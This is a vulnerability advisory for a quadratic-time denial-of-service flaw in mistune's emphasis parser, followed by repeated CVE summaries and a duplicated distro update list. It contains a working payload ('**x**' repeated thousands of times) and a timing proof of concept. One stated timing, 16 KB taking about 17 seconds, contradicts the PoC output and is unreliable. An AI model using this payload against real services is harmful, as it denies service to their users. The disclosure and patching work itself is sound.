CVE-2026-59925

Summary

Type: Algorithmic-complexity DoS in core emphasis parsing. A long sequence of well-formed **x** (strong) or ***x*** (strong-emphasis combined) pairs causes O(N²) parser work. Distinct from the bracket-bomb DoS ([ repetition) and from the formatting-plugin DoS (~~/==/^^); this one fires on default-config mistune with no plugins required. File: src/mistune/inline_parser.py lines 41-48 (the EMPHASIS_END_RE family) and the surrounding emphasis dispatch. Root cause: for every opening run of *s the parser scans forward using one of EMPHASIS_END_RE['*'] / ['**'] / ['***'] to find the matching close. Each scan is bounded per call, but the parser invokes the scan from every potential start position. For input shaped **x** repeated N times, every ** is treated as a potential start, each scan can cover up to the end of input. Total work is O(N²). The triple-emphasis variant ***x*** is slightly worse due to the extra alternation between *, **, and *** close patterns. Reproducible against default mistune with no plugins.

Affected Code

File: src/mistune/inline_parser.py, lines 41-48.

EMPHASIS_END_RE = {
    "*": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*(?!\*)"),
    "_": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])_(?!_)\b"),
    "**": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*\*(?!\*)"),
    "__": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])__(?!_)\b"),
    "***": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\*|[^\s*])\*\*\*(?!\*)"),
    "___": re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\_|[^\s_])___(?!_)\b"),
}
# Each of the six end-patterns is invoked from every emphasis open position
# fired by the inline rule `r"\*{1,3}(?=[^\s*])|\b_{1,3}(?=[^\s_])"`. The
# scan itself is bounded per call; the cost comes from the parser invoking
# the scan at every matching open marker, giving O(N²) total work.

Why it's wrong: same shape as the formatting-plugin and bracket-bomb DoS findings. The CommonMark reference parser handles emphasis in linear time using a delimiter-stack algorithm (commonmark.js, commonmark-py, markdown-it-py all do this). mistune retries the close-scan from each open marker. The bounded regex is not enough; the surrounding loop is the source of the quadratic.

Exploit Chain

1. Application uses mistune to render user-supplied markdown. No plugins required — affects the default mistune.create_markdown() configuration.
2. Attacker submits a 40 KB payload of **x** repeated 8000 times.
3. Server CPU pegs for ~4 seconds; 16 KB → ~17 seconds. Doubling input quadruples time.
4. Repeating the request floods the worker pool.

Security Impact

Severity: sec-high. Network-reachable, no authentication, no plugin requirement. Default mistune is vulnerable. Attacker capability: O(N²) CPU cost from a single small input. Predictable scaling, easy to combine with concurrent requests for service denial. Preconditions: application uses mistune.create_markdown() (default config) on attacker-supplied markdown. No plugins required. Differential: PoC-verified against [email protected], default config:

import mistune, time
md = mistune.create_markdown()                     # no plugins
for n in [500, 1000, 2000, 4000, 8000]:
    s = '**x**' * n
    t = time.time()
    md(s)
    print(f'  **x** * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')

# Output (Python 3.13, Linux, 2.5GHz CPU):
#   **x** *  500  (2500b):    20ms
#   **x** * 1000  (5000b):    74ms
#   **x** * 2000 (10000b):   284ms
#   **x** * 4000 (20000b):  1079ms
#   **x** * 8000 (40000b):  4309ms

# Triple-emphasis is similar:
md('***x***' * 4000)   # ~1500ms

# Linear in N for non-emphasis input of comparable size:
md('xxxxx' * 8000)     # 1ms (4000x faster)

The patched build (with the suggested fix below — delimiter-stack rewrite or hard cap on simultaneous open markers) keeps the time linear…

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, long sequences of well-formed double-asterisk or triple-asterisk emphasis pairs around a character cause quadratic work in src/mistune/inline_parser.py because the parser scans forward for matching close markers from every potential opening run, allowing denial of service in default Mistune parsing. This issue is fixed in version 3.3.0.

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, long sequences of well-formed double-asterisk or triple-asterisk emphasis pairs around a character cause quadratic work in src/mistune/inline_parser.py because the parser scans forward for matching close markers from every potential opening run, allowing denial of service in default Mistune parsing. This issue is fixed in version 3.3.0.

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, long sequences of well-formed double-asterisk or triple-asterisk emphasis pairs around a character cause quadratic work in src/mistune/inline_parser.py because the parser scans forward for matching close markers from every potential opening run, allowing denial of service in default Mistune parsing. This issue is fixed in version 3.3.0.

This update for python-mistune fixes the following issues

• CVE-2026-59922: quadratic-time parsing on long runs of some markers in formatting.py can lead to DoS (bsc#1271117).
• CVE-2026-59923: HTMLRenderer.safe_url() does not block percent-encoded javascript URIs and allows for XSS (bsc#1271119).
• CVE-2026-59924: improper processing of user-supplied include paths in Include.parse() can lead to path traversal and arbitrary file reads (bsc#1271121).
• CVE-2026-59925: quadratic-time parsing on long runs of some emphasis pairs in inline_parser can lead to DoS (bsc#1271125).
• CVE-2026-59926: improper escaping in render_admonition() can lead to atribute injection and XSS (bsc#1271127).
• CVE-2026-59927: uncontrolled recursion when processing two markdown files that include each other can lead to a DoS (bsc#1271128).
• CVE-2026-59928: quadratic-time parsing on long lists of repeated reference-link definitions in block_parser can lead to DoS (bsc#1271131).
• CVE-2026-59929: HARMFUL_PROTOCOLS list misses legacy and chained schemes and allow arbitrary script execution in user agents (bsc#1271132).
• CVE-2026-59930: the toc plugin and TableOfContents directive generate heading IDs with predictable values and allow for collisions with attacker-controlled id="toc_N" content (bsc#1271082).

This update for python-mistune fixes the following issues

• CVE-2026-59922: quadratic-time parsing on long runs of some markers in formatting.py can lead to DoS (bsc#1271117).
• CVE-2026-59923: HTMLRenderer.safe_url() does not block percent-encoded javascript URIs and allows for XSS (bsc#1271119).
• CVE-2026-59924: improper processing of user-supplied include paths in Include.parse() can lead to path traversal and arbitrary file reads (bsc#1271121).
• CVE-2026-59925: quadratic-time parsing on long runs of some emphasis pairs in inline_parser can lead to DoS (bsc#1271125).
• CVE-2026-59926: improper escaping in render_admonition() can lead to atribute injection and XSS (bsc#1271127).
• CVE-2026-59927: uncontrolled recursion when processing two markdown files that include each other can lead to a DoS (bsc#1271128).
• CVE-2026-59928: quadratic-time parsing on long lists of repeated reference-link definitions in block_parser can lead to DoS (bsc#1271131).
• CVE-2026-59929: HARMFUL_PROTOCOLS list misses legacy and chained schemes and allow arbitrary script execution in user agents (bsc#1271132).
• CVE-2026-59930: the toc plugin and TableOfContents directive generate heading IDs with predictable values and allow for collisions with attacker-controlled id="toc_N" content (bsc#1271082).